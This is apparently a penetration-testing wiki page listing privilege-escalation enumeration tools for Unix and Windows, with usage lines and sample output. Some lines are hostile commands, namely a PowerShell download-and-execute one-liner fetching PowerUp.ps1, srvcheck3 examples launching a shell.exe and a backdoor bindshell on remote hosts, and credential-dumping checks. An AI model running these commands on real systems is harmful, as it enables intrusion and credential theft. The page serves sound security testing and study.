Automated tools
Tools which will make your life easier in a search for privilege escalation paths
Summary
Name
Unix
Windows
Solaris
Mac
PEASS
sh
exe and bat
-
sh
BeRoot
py
exe
-
py
Unix privesc check
sh
-
-
-
Windows Exploit Suggester
-
systeminfo
-
-
Linux Exploit Suggester
perl
-
-
-
Solaris Exploit Suggester
-
-
showrev
-
LinEnum
sh
-
-
-
Nishang
-
PS
-
-
SharpUp
-
exe
-
-
Seatbelt
-
exe
-
-
JAWS
-
PS
-
-
Watson
-
exe
-
-
PowerUp
-
PS
-
-
srvcheck3
-
exe
-
-
PEASS
PEASS - Privilege Escalation Awesome Scripts SUITE
Link: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/README.md
These tools search for possible local privilege escalation paths that you could exploit and print them to you with nice colors so you can recognize the misconfigurations easily.
Check the Local Windows Privilege Escalation checklist from book.hacktricks.xyz
WinPEAS - Windows local Privilege Escalation Awesome Script (C#.exe and .bat)
Check the Local Linux Privilege Escalation checklist from book.hacktricks.xyz
LinPEAS - Linux local Privilege Escalation Awesome Script (.sh)
BeRoot
BeRoot Project is a post exploitation tool to check common misconfigurations to find a way to escalate our privilege. It has been added to the pupy project as a post exploitation module (so it will be executed in memory without touching the disk).
Link: https://github.com/AlessandroZ/BeRoot
Windows pre compiled versions: https://github.com/AlessandroZ/BeRoot/releases
Linux: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Unix privesc check
Unix-privesc-checker is a script that runs on Unix systems (tested on Solaris 9, HPUX 11, Various Linuxes, FreeBSD 6.2). It tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps (e.g. databases).
Link: https://github.com/pentestmonkey/unix-privesc-check
Usage:
$ ./unix-privesc-check > output.txt
Windows-Exploit-Suggester
This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.
It requires the 'systeminfo' command output from a Windows host in order to compare that the Microsoft security bulletin database and determine the patch level of the host.
USAGE:
update the database :
$ ./windows-exploit-suggester.py --update
[*] initiating...
[*] successfully requested base url
[*] scraped ms download url
[+] writing to file 2014-06-06-mssb.xlsx
[*] done feed it "systeminfo" input, and point it to the microsoft database
$ ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt
Linux Exploit Suggester
When run without arguments, the script performs a 'uname -r' to grab the Linux operating system release version, and returns a list of possible exploits. Links to CVEs and applicable exploit POCs are included. Keep in mind that a patched/back-ported patch may fool this script.
Usage:
$ ./linux-exploit-suggester.pl
Solaris Exploit suggester
This tool reads the output of “showrev -p” on Solaris machines and outputs a list of exploits that you might want to try. It currently focusses on local exploitation of Solaris 8 on SPARC, but other version of Solaris are partially supported.
Link:
http://pentestmonkey.net/tools/audit/exploit-suggester
Example Output:
$ head showrev.out
Patch: 109618-01 Obsoletes: Requires: Incompatibles: Packages: SUNWeuxwe, SUNWeuezt, SUNWeudlg, SUNWeudda
Patch: 109889-01 Obsoletes: 109353-04 Requires: Incompatibles: Packages: SUNWkvmx, SUNWkvm, SUNWmdb, SUNWhea, SUNWpstl, SUNWpstlx
Patch: 110369-05 Obsoletes: 110709-02 Requires: Incompatibles: Packages: SUNWkvmx, SUNWcarx, SUNWcsr Running:
$ ./exploit-suggestions.pl 8 sparc showrev.out
exploit-suggester v0.1 ( http://pentestmonkey.net/tools/exploit-suggester )
-------------------------------------------------------------
| Runtime options |
-------------------------------------------------------------
Solaris version: ................ 8
Architecture: ................... sparc
Patch file: ..................... showrev.out
Exploit database: ............... sploitdb.txt
Don't list sploits rated as ..... N/A - Exclude no ratings
List only sploits rated as ...... N/A - List any rating
List only local sploits ......... N/A - Show both
-------------------------------------------------------------
| Suggested Exploits |
-------------------------------------------------------------
Description: 'at' Arbitrary File Deletion
Remote: 0
Exploit Rating: 1 (Sploit normally works)
Patch installed: 108875-10
Min vulnerable patch: 108875-00
Max vulnerable patch: 108875-12
Exploit Link: http://www.securityfocus.com/data/vulnerabilities/exploits/isec-solaris-at-rm.c
Exploit Link: http://www.securityfocus.com/data/vulnerabilities/exploits/solaris-at.c
Info Link: http://securityfocus.com/bidLinEnum
Link: https://github.com/rebootuser/LinEnum
Scripted Local Linux Enumeration & Privilege Escalation Checks
version 0.982
Example:
./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
OPTIONS:
-k Enter keyword
-e Enter export location
-t Include thorough (lengthy) tests
-s Supply current user password to check sudo perms (INSECURE)
-r Enter report name
-h Displays this help text
Running with no options = limited scans/no output file
Nishang
Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.
Link: https://github.com/samratashok/nishang
Also installed by default on Kali:
root@kali:~# ls -l /usr/share/nishang/
Escalation scripts:
Enable-DuplicateToken – When SYSTEM privileges are required.
Remove-Update – Introduce vulnerabilities by removing patches.
Invoke-PsUACme – Bypass UAC.
SharpUp
SharpUp is a C# port of various PowerUp functionality. Currently, only the most common checks have been ported; no weaponization functions have yet been implemented.
Link: https://github.com/GhostPack/SharpUp
Usage:
C:\Temp>SharpUp.exe
=== SharpUp: Running Privilege Escalation Checks ===
=== Modifiable Services ===
Name : VulnSvc
DisplayName : VulnSvc
Description :
State : Stopped
StartMode : Auto
PathName : C:\Program Files\VulnSvc\VulnSvc.exe
=== Modifiable Service Binaries ===
Name : VulnSvc2
DisplayName : VulnSvc22
Description :
State : Stopped
StartMode : Auto
PathName : C:\VulnSvc2\VulnSvc2.exe
=== AlwaysInstallElevated Registry Keys ===
=== Modifiable Folders in %PATH% ===
Modifable %PATH% Folder : C:\Go\bin
=== Modifiable Registry Autoruns ===
=== *Special* User Privileges ===
=== Unattended Install Files ===
=== McAfee Sitelist.xml Files ===
[*] Completed Privesc Checks in 11 seconds Seatbelt
Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.
Usage
SeatBelt.exe all will run ALL enumeration checks, can be combined with full.
SeatBelt.exe [CheckName] full will prevent any filtering and will return complete results.
SeatBelt.exe [CheckName] [CheckName2] ... will run one or more specified checks only (case-sensitive naming!)
SeatBelt.exe system collects the following system data:
BasicOSInfo - Basic OS info (i.e. architecture, OS version, etc.)
RebootSchedule - Reboot schedule (last 15 days) based on event IDs 12 and 13
TokenGroupPrivs - Current process/token privileges (e.g. SeDebugPrivilege/etc.)
UACSystemPolicies - UAC system policies via the registry
PowerShellSettings - PowerShell versions and security settings
AuditSettings - Audit settings via the registry
WEFSettings - Windows Event Forwarding (WEF) settings via the registry
LSASettings - LSA settings (including auth packages)
UserEnvVariables - Current user environment variables
SystemEnvVariables - Current system environment variables
UserFolders - Folders in C:\Users\
NonstandardServices - Services with file info company names that don't contain 'Microsoft'
InternetSettings - Internet settings including proxy configs
LapsSettings - LAPS settings, if installed
LocalGroupMembers - Members of local admins, RDP, and DCOM
MappedDrives - Mapped drives
RDPSessions - Current incoming RDP sessions
WMIMappedDrives - Mapped drives via WMI
NetworkShares - Network shares
FirewallRules - Deny firewall rules, "full" dumps all
AntiVirusWMI - Registered antivirus (via WMI)
InterestingProcesses - "Interesting" processes- defensive products and admin tools
RegistryAutoRuns - Registry autoruns
RegistryAutoLogon - Registry autologon information
DNSCache - DNS cache entries (via WMI)
ARPTable - Lists the current ARP table and adapter information (equivalent to arp -a)
AllTcpConnections - Lists current TCP connections and associated processes
AllUdpConnections - Lists current UDP connections and associated processes
NonstandardProcesses - Running processeswith file info company names that don't contain 'Microsoft'
* If the user is in high integrity, the following additional actions are run:
SysmonConfig - Sysmon configuration from the registry SeatBelt.exe user collects the following user data:
SavedRDPConnections - Saved RDP connections
TriageIE - Internet Explorer bookmarks and history (last 7 days)
DumpVault - Dump saved credentials in Windows Vault (i.e. logins from Internet Explorer and Edge), from SharpWeb
RecentRunCommands - Recent "run" commands
PuttySessions - Interesting settings from any saved Putty configurations
PuttySSHHostKeys - Saved putty SSH host keys
CloudCreds - AWS/Google/Azure cloud credential files (SharpCloud)
RecentFiles - Parsed "recent files" shortcuts (last 7 days)
MasterKeys - List DPAPI master keys
CredFiles - List Windows credential DPAPI blobs
RDCManFiles - List Windows Remote Desktop Connection Manager settings files
* If the user is in high integrity, this data is collected for ALL users instead of just the current user Non-default collection options:
CurrentDomainGroups - The current user's local and domain groups
Patches - Installed patches via WMI (takes a bit on some systems)
LogonSessions - User logon session data
KerberosTGTData - ALL TEH TGTZ!
InterestingFiles - "Interesting" files matching various patterns in the user's folder
IETabs - Open Internet Explorer tabs
TriageChrome - Chrome bookmarks and history
TriageFirefox - Firefox history (no bookmarks)
RecycleBin - Items in the Recycle Bin deleted in the last 30 days - only works from a user context!
4624Events - 4624 logon events from the security event log
4648Events - 4648 explicit logon events from the security event log
KerberosTickets - List Kerberos tickets. If elevated, grouped by all logon sessions.JAWS
JAWS - Just Another Windows (Enum) Script
JAWS is PowerShell script designed to help penetration testers (and CTFers) quickly identify potential privilege escalation vectors on Windows systems. It is written using PowerShell 2.0 so 'should' run on every Windows version since Windows 7.
Link: GitHub - 411Hall/JAWS: JAWS - Just Another Windows (Enum) Script
Usage:
Run from within CMD shell and write out to file.
CMD C:\temp> powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
Run from within CMD shell and write out to screen.
CMD C:\temp> powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1
Run from within PS Shell and write out to file.
PS C:\temp> .\jaws-enum.ps1 -OutputFileName Jaws-Enum.txt
Watson
Watson is a .NET tool designed to enumerate missing KBs and suggest exploits for Privilege Escalation vulnerabilities.
Link: GitHub - rasta-mouse/Watson: Enumerate missing KBs and...
Usage:
Usage:
C:> Watson.exe
__ __ _
/ / /\ \ \__ _| |_ ___ ___ _ __
\ \/ \/ / _` | __/ __|/ _ \| '_ \
\ /\ / (_| | |_\__ \ (_) | | | |
\/ \/ \__,_|\__|___/\___/|_| |_|
v2.0
@_RastaMouse
[*] OS Build Number: 14393
[*] Enumerating installed KBs...
[!] CVE-2019-0836 : VULNERABLE
[>] https://exploit-db.com/exploits/46718
[>] https://decoder.cloud/2019/04/29/combinig-luafv-postluafvpostreadwrite-race-condition-pe-with-diaghub-collector-exploit-from-standard-user-to-system/
[!] CVE-2019-0841 : VULNERABLE
[>] https://github.com/rogue-kdc/CVE-2019-0841
[>] https://rastamouse.me/tags/cve-2019-0841/
[!] CVE-2019-1064 : VULNERABLE
[>] https://www.rythmstick.net/posts/cve-2019-1064/
[!] CVE-2019-1130 : VULNERABLE
[>] https://github.com/S3cur3Th1sSh1t/SharpByeBear
[!] CVE-2019-1253 : VULNERABLE
[>] https://github.com/padovah4ck/CVE-2019-1253
[!] CVE-2019-1315 : VULNERABLE
[>] https://offsec.almond.consulting/windows-error-reporting-arbitrary-file-move-eop.html
[*] Finished. Found 6 potential vulnerabilities. PowerUp
Cheat sheet: https://github.com/HarmJ0y/CheatSheets/blob/master/PowerUp.pdf
Download and run:
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks
For all checks:
PS C:\Users\mssql-svc\appdata\local\temp> Invoke-AllChecks
srvcheck3
Privilege escalation for Windows XP SP2 and before
This can exploit vulnerable services. http://seclists.org/fulldisclosure/2006/Feb/231
Example:
srvcheck3.exe -m upnphost -H 127.0.0.1 -c "cmd.exe /c c:\Inetpub\wwwroot\shell.exe"
View menu:
D:\Programación\srvcheck2>srvcheck3.exe -?
examples:
Srvcheck3.exe -l (list local vulnerabilities)
Srvcheck3.exe -l -H 192.168.1.1-192.168.1.255 -u domainuser -p domainpass
Srvcheck3.exe -l -f hosts.txt -u DOMAINuser -p password (list remote vulnerabilities)
Srvcheck3.exe -m service -H host -c "cmd.exe /c md c:\PWNED"
Srvcheck3.exe -m vulnservice -H 192.168.1.200 -u domainuser -p domainpass -r 192.168.1.1 21 backdoor.exe (exe cutes backdoor.exe bindshell)
Last updated
Was this helpful?